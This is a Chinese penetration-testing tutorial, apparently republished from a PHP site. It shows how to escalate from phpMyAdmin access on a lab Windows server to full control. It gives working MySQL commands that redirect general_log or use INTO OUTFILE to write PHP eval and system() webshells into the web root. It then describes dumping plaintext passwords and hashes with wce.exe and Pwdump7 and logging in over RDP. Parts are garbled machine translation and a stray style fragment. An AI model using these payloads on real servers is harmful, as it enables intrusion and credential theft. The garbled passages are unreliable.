更新时间:2022-01-08 16:53:12
我想给大家讲讲phpMyadmin的夺权。相信朋友们也应该很关心这个话题。现在,我想告诉你一些关于phpMyadmin的力量提升。边肖还收集了phpMyadmin的权力提升的相关信息。我希望你看到后会喜欢。
下面,phpmyadmin的教程专栏将为大家介绍那些关于phpMyadmin力量提升的事情,希望对有需要的朋友有所帮助!
导读:渗透测试时如何获取phpMyadmin账号的密码?往下看。今天给大家讲讲phpMyadmin的账号密码。
000定义phpMyAdmin是一款基于PHP,在网站主机上以Web-Base模式结构化的MySQL数据库管理工具,允许管理人员通过Web界面管理MySQL数据库。
001环境准备目标:Windows Server 2003企业版x64 192 . 168 . 17 . 137攻击者:window 7 192 . 168 . 17 . 132 PHP :5 . 45 MySQL 3360 5 . 5 . 53 Apache 3360 2.4002开始渗透。我们通过泄露弱密码爆破目录等方式得知了PhpMyadmin的信息。接下来我们就用phpMyadmin来提升实力,尽可能贴近现实,多聊聊想法。
收集有用的信息
如上图所示,我们可以得到以下有用的信息。
1.操作系统是windows server 2003 x862。服务器是Apache 2.4.323。网站默认路径为e : \ phpstudy \ phpstudy \ WWW4.PHP版本为5.455.mysql版本为5.5.53b检测插入情况。我们了解到该网站的默认路径是e : \ phps study \ phpt tutorial \ www。这个时候,我们肯定要插句后门文件或者导出外壳。那么,如果需要使用以上两种思路中的一种,就必须满足一个前提条件,即“secure_file_priv”对应的值不能为空,且必须是默认网站的路径,所以必须提前检查“secure_file_priv”的值。
88,88);font-family:'微软雅黑';background-color:rgb(255,255,255);">phpMyadmin执行以下命令:SHOW VARIABLES LIKE “secure_file_priv”;
结果如图所示:
从上图得知值为空如果我们这时导入一句话肯定会失败的不信啊那我们试试。
报错The MySQL server is running with the –secure-file-priv option so it cannot execute this statement这是因为mysql对通过文件导入导出作了限制默认不允许。默认value值为null则为禁止如果有文件夹目录则只允许改目录下文件(测试子目录也不行)。我们思考一下看看能否设置其的路径为我们的默认网站路径这样我们就可以导入一句话后门了。那我们试试吧。
从图得知这个变量是一个只读变量无法动态更改那应该是只能从配置文件中更改了。到这里发现陷入了一个胡同那常规方式不行我们可以去使用一些骚思路利用log日志文件插入一句话。
c 转换思路我们首先需要检测的是MySQL全局变量(general_log、general_log file)的值。
general log 指的是日志保存状态一共有两个值(ON/OFF)ON代表开启 OFF代表关闭。general log file 指的是日志的保存路径。从图得知general_log默认是关闭的log日志存放的位置是E:\phpStudy\PHPTutorial\MySQL\data\。
首先我们来理解一下开启general_log 的作用开启它可以记录用户输入的每条命令会把其保存在E:\phpstudy\PHPTutorial\MySQL\data\下的一个log文件中其实就是我们常说的日志文件。好我们的利用的思路是开启general_log之后把general_log_file的值修改为我们网站默认路径下一个自定义的php文件中然后我们通过log日志进行写入一句话后门到上面去然后再进一步利用。
具体命令是:
set global general_log = "ON";SET global general_log_file='E:/phpStudy/PHPTutorial/WWW/infos.php';紧接着我们可以看到在网站根路径下找到我们生成的伪日记文件infos.php。
然后我们就得插入我们的一句话后门了。
select ‘<?php eval($_POST[yumu]);?>’;
我们可以尝试使用菜刀连接成功连接。
d 获取管理员密码0×00 直接获取明文我们上传wce.exe获取明文密码。运气贼好直接获取到明文(11位字母和数字混合的密码)。如果不能直接获取明文那就得走第二条获取hash值然后解密了。
0×01 获取hash值上传Pwdump7.exe获取hash值保存到password.txt文件中。获取hash值可以选择在线http://www.objectif-securite.ch/en/ophcrack.php跑跑不出来就用Ophcrack导入彩虹表跑吧。
e 查看3389是否开启直接在菜刀终端输入“netstat -an | find “3389″ 或者“netstat -an ”。
发现3389没开但是3390就开了我们尝试连接一下。
f 登陆服务器运行mstsc开启远程桌面。
输入上面获取到的账号和密码成功登陆。
最后肯定是要清楚痕迹的但我这里就不写了写的内容也是贼多了
0×03 扩展上面演示了secure_file_priv值为空的情况那么如果secure_file_priv不为空那我们该怎么办
a 配置my.ini文件(不对应网站根路径)打开mysq的配置文件my.ini对secure_file_priv的值进行设置然后重启mysql。
secure_file_priv = ”E:/phpStudy/PHPTutorial/MYSQL/”
尝试改变值发现只是可读不能写那种情况无法写入我们的一句话因为其限制了导出路径无法把一句话写入之后导出到我们的网站根目录。
打开mysq的配置文件my.ini对secure_file_priv的值进行设置然后重启mysql。
secure_file_priv = ”E:/phpStudy/PHPTutorial/WWW/”
然后我们尝试插入一句话后门成功插入。
二话不说菜刀连接。
当然一句话还可以这样插入。
CREATE TABLE `mysql`.`informationes` (`inform` TEXT NOT NULL);INSERT INTO `mysql`.`informationes` (`inform`) VALUES ('<?php @eval($_POST[pass]);?>');SELECT `inform` from `mysql`.`informationes` into outfile 'e:/phpStudy/PHPTutorial/WWW/infos.php';DROP table if exists `mysql`.`informationes`;(注意: c:/phpStudy/PHPTutorial/WWW/为网站的绝对路径)c 导出具有命令权限的Shell的php文件select ‘<?php echo \’<pre>\’;system($_POST[\'yumu\']);echo \’</pre>\’;?>’ into outfile ‘c:/phpStudy/PHPTutorial/WWW/test.php’;
0×04 总结本文中的环境是除了没上waf其他都是尽可能地贴近真实环境模拟真实的环境给大家去分析和讲解思路希望大家有所收获。
以上就是关于phpMyadmin提权那些事的详细内容!
来源:php中文网